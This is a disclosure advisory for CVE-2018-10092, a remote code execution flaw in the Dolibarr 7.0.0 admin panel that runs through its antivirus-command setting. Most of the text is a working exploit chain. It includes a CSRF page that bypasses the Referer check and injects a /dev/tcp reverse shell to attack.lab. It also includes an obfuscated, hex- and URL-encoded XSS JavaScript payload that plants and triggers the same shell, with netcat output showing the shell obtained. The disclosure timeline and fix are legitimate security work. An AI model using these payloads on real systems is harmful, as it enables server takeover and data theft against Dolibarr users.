Dolibarr 7.0.0 Admin Panel Remote Code Execution

Dolibarr version 7.0.0 suffers from a remote code execution vulnerability.


MD5 | b94ac6417d1d388dbaa5a4304b9dd3fa

# [CVE-2018-10092] Dolibarr admin panel authenticated Remote Code
Execution (RCE) vulnerability


## Description

Dolibarr is an "Open Source ERP & CRM for Business" used by many
companies worldwide.

It is available through [GitHub](https://github.com/Dolibarr/dolibarr)
or as distribution packages (e.g .deb package).

**Threat**

By tricking a logged-in admin into clicking a malicious link, or by
getting admin privileges in some other way, a remote attacker can
achieve remote code execution (RCE) on the target server.

**Expectation**

User input should be filtered to avoid arbitrary OS command injection.

Arbitrary external commands should be defined in a configuration file
which is not editable by an ERP user.


## Vulnerability type

**CVE ID**: CVE-2018-10092

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-78

**CVSS Base Score**: 9.0

**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H


## Details

The admin panel allows to define an antivirus command and parameters,
which are run every time a file is uploaded and scanned.

However, it is possible for an authenticated user to specify an
arbitrary command to be run instead of the antivirus scanner. The
injected command would be triggered after uploading a file to scan,
which effectively leads to executing arbitrary code on the server.

The command to be run is stored in the config variables
`MAIN_ANTIVIRUS_COMMAND` and `MAIN_ANTIVIRUS_PARAM`, which can be set by
the admin through the Web interface.

Then, when a file is uploaded by a user, the function
`dol_move_uploaded_file()` (defined in `files.lib.php`) is called:

```php
function dol_move_uploaded_file($src_file, $dest_file, $allowoverwrite,
$disablevirusscan=0, $uploaderrorcode=0, $nohook=0, $varfiles='addedfile')
{
... snip ...

// If we need to make a virus scan
if (empty($disablevirusscan) && file_exists($src_file))
{
$checkvirusarray=dolCheckVirus($src_file);
if (count($checkvirusarray))
{
dol_syslog('Files.lib::dol_move_uploaded_file File
"'.$src_file.'" (target name "'.$dest_file.'") KO with antivirus:
result='.$result.' errors='.join(',',$checkvirusarray), LOG_WARNING);
return 'ErrorFileIsInfectedWithAVirus:
'.join(',',$checkvirusarray);
}
}

... snip ...

return 1; // Success
}
```

Which calls `dolCheckVirus()`:

```php
function dolCheckVirus($src_file)
{
global $conf;

if (! empty($conf->global->MAIN_ANTIVIRUS_COMMAND))
{
if (! class_exists('AntiVir')) {
require_once DOL_DOCUMENT_ROOT.'/core/class/antivir.class.php';
}
$antivir=new AntiVir($db);
$result = $antivir->dol_avscan_file($src_file);
if ($result < 0) // If virus or error, we stop here
{
$reterrors=$antivir->errors;
return $reterrors;
}
}
return array();
}
```

Which in turn calls `dol_avscan_file()` (defined in
`antivir.class.php`), where the return value of `getCliCommand()` is
passed to the `exec()` PHP function:

```php
function dol_avscan_file($file)
{
global $conf;

$return = 0;

if (preg_match('/\.virus$/i', $file))
{
$this->errors='File has an extension saying file is a virus';
return -97;
}

$fullcommand=$this->getCliCommand($file);
//$fullcommand='"c:\Program Files
(x86)\ClamWin\bin\clamscan.exe" --database="C:\Program Files
(x86)\ClamWin\lib" "c:\temp\aaa.txt"';
$fullcommand.=' 2>&1'; // This is to get error output

$output=array();
$return_var=0;
$safemode=ini_get("safe_mode");
// Create a clean fullcommand
dol_syslog("AntiVir::dol_avscan_file Run
command=".$fullcommand." with safe_mode ".($safemode?"on":"off"));
// Run CLI command. If run of Windows, you can get return with
echo %ERRORLEVEL%
$lastline=exec($fullcommand, $output, $return_var);

//print "x".$lastline." - ".join(',',$output)." -
".$return_var."y";exit;

... snip ...

// If return code = 0
return 1;
}
```

The `getCliCommand()` routine uses the `MAIN_ANTIVIRUS_COMMAND` to
format the antivirus command to be executed. Even though
`escapeshellarg()` is used, it is possible for this variable to hold
arbitrary shell commands which will be concatenated and executed:

```php
function getCliCommand($file)
{
global $conf;

$maxreclevel = 5 ; // maximal recursion level
$maxfiles = 1000; // maximal number of files to be
scanned within archive
$maxratio = 200; // maximal compression ratio
$bz2archivememlim = 0; // limit memory usage for bzip2 (0/1)
$maxfilesize = 10485760; // archived files larger than this
value (in bytes) will not be scanned

$command=$conf->global->MAIN_ANTIVIRUS_COMMAND;
$param=$conf->global->MAIN_ANTIVIRUS_PARAM;

$param=preg_replace('/%maxreclevel/',$maxreclevel,$param);
$param=preg_replace('/%maxfiles/',$maxfiles,$param);
$param=preg_replace('/%maxratio/',$maxratio,$param);
$param=preg_replace('/%bz2archivememlim/',$bz2archivememlim,$param);
$param=preg_replace('/%maxfilesize/',$maxfilesize,$param);
$param=preg_replace('/%file/',trim($file),$param);

if (! preg_match('/%file/',$conf->global->MAIN_ANTIVIRUS_PARAM))
$param=$param." ".escapeshellarg(trim($file));

if (preg_match("/\s/",$command))
$command=escapeshellarg($command); // Use quotes on command. Using
escapeshellcmd fails.

$ret=$command.' '.$param;
//$ret=$command.' '.$param.' 2>&1';
//print "xx".$ret."xx";exit;

return $ret;
}
```

## Proof of Concept 1 : Exploiting CSRF control bypass

Dolibarr generates an anti-CSRF token which is not checked by default.
Another control on the `Referer` header is also perfomed (in
`filefunc.inc.php`):

```
// Security: CSRF protection
// This test check if referrer ($_SERVER['HTTP_REFERER']) is same web
site than Dolibarr ($_SERVER['HTTP_HOST'])
// when we post forms (we allow GET to allow direct link to access a
particular page).
// Note about $_SERVER[HTTP_HOST/SERVER_NAME]:
http://shiflett.org/blog/2006/mar/server-name-versus-http-host
if (! defined('NOCSRFCHECK') && empty($dolibarr_nocsrfcheck))
{
if (! empty($_SERVER['REQUEST_METHOD']) &&
$_SERVER['REQUEST_METHOD'] != 'GET' && ! empty($_SERVER['HTTP_HOST'])
&& (empty($_SERVER['HTTP_REFERER']) || !
preg_match('/'.preg_quote($_SERVER['HTTP_HOST'],'/').'/i',
$_SERVER['HTTP_REFERER'])))
{
//print 'NOCSRFCHECK='.defined('NOCSRFCHECK').'
REQUEST_METHOD='.$_SERVER['REQUEST_METHOD'].'
HTTP_POST='.$_SERVER['HTTP_HOST'].' HTTP_REFERER='.$_SERVER['HTTP_REFERER'];
print "Access refused by CSRF protection in main.inc.php.
Referer of form is outside server that serve the POST.\n";
print "If you access your server behind a proxy using url
rewriting, you might check that all HTTP header is propagated (or add
the line \$dolibarr_nocsrfcheck=1 into your conf.php file).\n";
die;
}
// Another test is done later on token if option
MAIN_SECURITY_CSRF_WITH_TOKEN is on.
}
if (empty($do
```

However, this controlled can be bypassed since the check only ensures
the header contains the server's domain name in its URL. If the victim
application is at `http://dolibarr.lab`, requesting from
`http://attack.lab/dolibar.lab/exploit.html` would therefore bypass the
control.

By tricking a logged-in admin into clicking our exploit link, we can
therefore make him change the antivirus command to our exploit payload
silently.

Here is a sample exploit page which will change the antivirus scan
command to a reverse shell payload:

```html
<html>
<body>

<form
action="http://dolibarr.lab:2080/dolibarr/admin/security_file.php"
method="POST" id="form1" target="iframe1">
<input type="hidden" name="action" value="updateform" />
<input type="hidden" name="MAIN_UPLOAD_DOC" value="2048" />
<input type="hidden" name="MAIN_UMASK" value="0664" />
<input type="hidden" name="MAIN_ANTIVIRUS_COMMAND" value="test" />
<input type="hidden" name="MAIN_ANTIVIRUS_PARAM" value=";/bin/bash
-c '/bin/bash>/dev/tcp/attack.lab/4444 0>&1 2>&1 &'" />
<input type="hidden" name="button" value="Modify" />
</form>
<iframe style="display: hidden" height="0" width="0" frameborder="0"
name="iframe1"></iframe>

<script>
document.forms[0].submit();
</script>
</body>
</html>
```

The file is hosted in a `dolibarr.lab:2080` subdirectory so the
`Referer` header will look similar to the following when the admin
visits our page:

```
POST /dolibarr/admin/security_file.php HTTP/1.1
Host: dolibarr.lab:2080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://attack.lab/RCE/dolibarr.lab:2080/
Cookie:
DOLSESSID_cac4a1e49e4040e845340fe919bd202b=s14k43jo6qsscat79c5ofdb822
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=updateform&MAIN_UPLOAD_DOC=2048&MAIN_UMASK=0664&MAIN_ANTIVIRUS_COMMAND=test&MAIN_ANTIVIRUS_PARAM=%3B%2Fbin%2Fbash+-c+%27%2Fbin%2Fbash%3E%2Fdev%2Ftcp%2Fattack.lab%2F4444+0%3E%261+2%3E%261+%26%27&button=Modify
```

Hence the request is accepted by the Dolibarr application and the
antivirus command is replaced with our payload. Next time a file is
uploaded, a reverse shell is opened on our attacking machine:

```
POST /dolibarr/admin/security_file.php HTTP/1.1
Host: dolibarr.lab:2080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dolibarr.lab:2080/dolibarr/admin/security_file.php
Cookie:
DOLSESSID_cac4a1e49e4040e845340fe919bd202b=s14k43jo6qsscat79c5ofdb822
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=---------------------------214479305914244921141324238339
Content-Length: 866

-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="section_dir"


-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="section_id"

0
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="token"

c2bf19bb9927006593e01e8cd1e08e10ef7a8605
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="max_file_size"

2097152
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="userfile[]"; filename="test.log"
Content-Type: text/x-log

foobarr

-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="sendit"

Send file
-----------------------------214479305914244921141324238339--
```

```
$ nc -lvp 4444
listening on [any] 4444 ...
192.168.0.15: inverse host lookup failed: Unknown host
connect to [192.168.0.15] from (UNKNOWN) [192.168.0.15] 38080
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```


## Proof of Concept 2 : Exploiting XSS vulnerability

By exploiting the XSS vulnerability on the application, it is possible
to both set the antivirus command and upload a dummy file so as to
trigger our payload immediately.

Here is an exploit code that will update the antivirus command to a
reverse shell payload and trigger it with a file upload.

```php
function stage1()
{
var xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/dolibarr.lab:2080\/dolibarr\/admin\/security_file.php", true);
xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type",
"application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body =
"action=updateform&MAIN_UPLOAD_DOC=2048&MAIN_UMASK=0664&MAIN_ANTIVIRUS_COMMAND=test&MAIN_ANTIVIRUS_PARAM=%3B%2Fbin%2Fbash+-c+%27%2Fbin%2Fbash%3E%2Fdev%2Ftcp%2Fattack.lab%2F4444+0%3E%261+2%3E%261+%26%27&button=Modify";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}

function stage2()
{
var xhr = new XMLHttpRequest();
xhr.open("POST",
"http://dolibarr.lab:2080\/dolibarr\/admin\/security_file.php", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------13516173183538375091983714991");
xhr.withCredentials = true;
var body =
"-----------------------------13516173183538375091983714991\r\n" +
"Content-Disposition: form-data; name=\"userfile[]\";
filename=\"test.txt\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"foobar\r\n" +
"-----------------------------13516173183538375091983714991\r\n" +
"Content-Disposition: form-data; name=\"sendit\"\r\n" +
"\r\n" +
"Send file\r\n" +
"-----------------------------13516173183538375091983714991--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}

stage1();
setTimeout(stage2, 2000);
```

To deliver it, we will hex encode it and paste it into our vulnerable
XSS link:

**hex decoder function**

```php
function hex2a(hex) {var str = "";for(var i = 0; i <
hex.length;i+=2){str += String.fromCharCode(parseInt(hex.substr(i, 2),
16));}return str;}
```

**urlencoded twice**

```
%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61
```

```
$ cat xssrce.js|xxd -ps|tr -d '\n'

66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a
```


**Javascript payload**

```javascript
eval(unescape(unescape("%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61")));eval(hex2a("66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a"))
```

**Resulting exploit link**

```
http://dolibarr.lab:2080/dolibarr/adherents/subscription/list.php?date_select=2018%3E%3Cimg+src%3dx+onerror%3deval(unescape(unescape("%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61")));eval(hex2a("66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a"))%3E
```

By tricking an admin into visiting our link, we get a reverse shell on
the Web server:

```
$ nc -lvp 4444
listening on [any] 4444 ...
192.168.0.15: inverse host lookup failed: Unknown host
connect to [192.168.0.15] from (UNKNOWN) [192.168.0.15] 38504
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## Affected versions

* Version 7.0.0 (last stable version as of March 2018) - previous
versions are probably also vulnerable but not tested

## Solution

Update to 7.0.2
([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog))

## Timeline (dd/mm/yyyy)

* 18/03/2018 : Initial discovery
* 17/04/2018 : Contact with the editor
* 17/04/2018 : Editor acknowledges the vulnerability
* 18/04/2018 : Editor announces fixes in version 7.0.2
* 21/05/2018 : Vulnerability disclosure

## Credits

* Kevin LOCATI (k dot locati at sysdream dot com)



Related Posts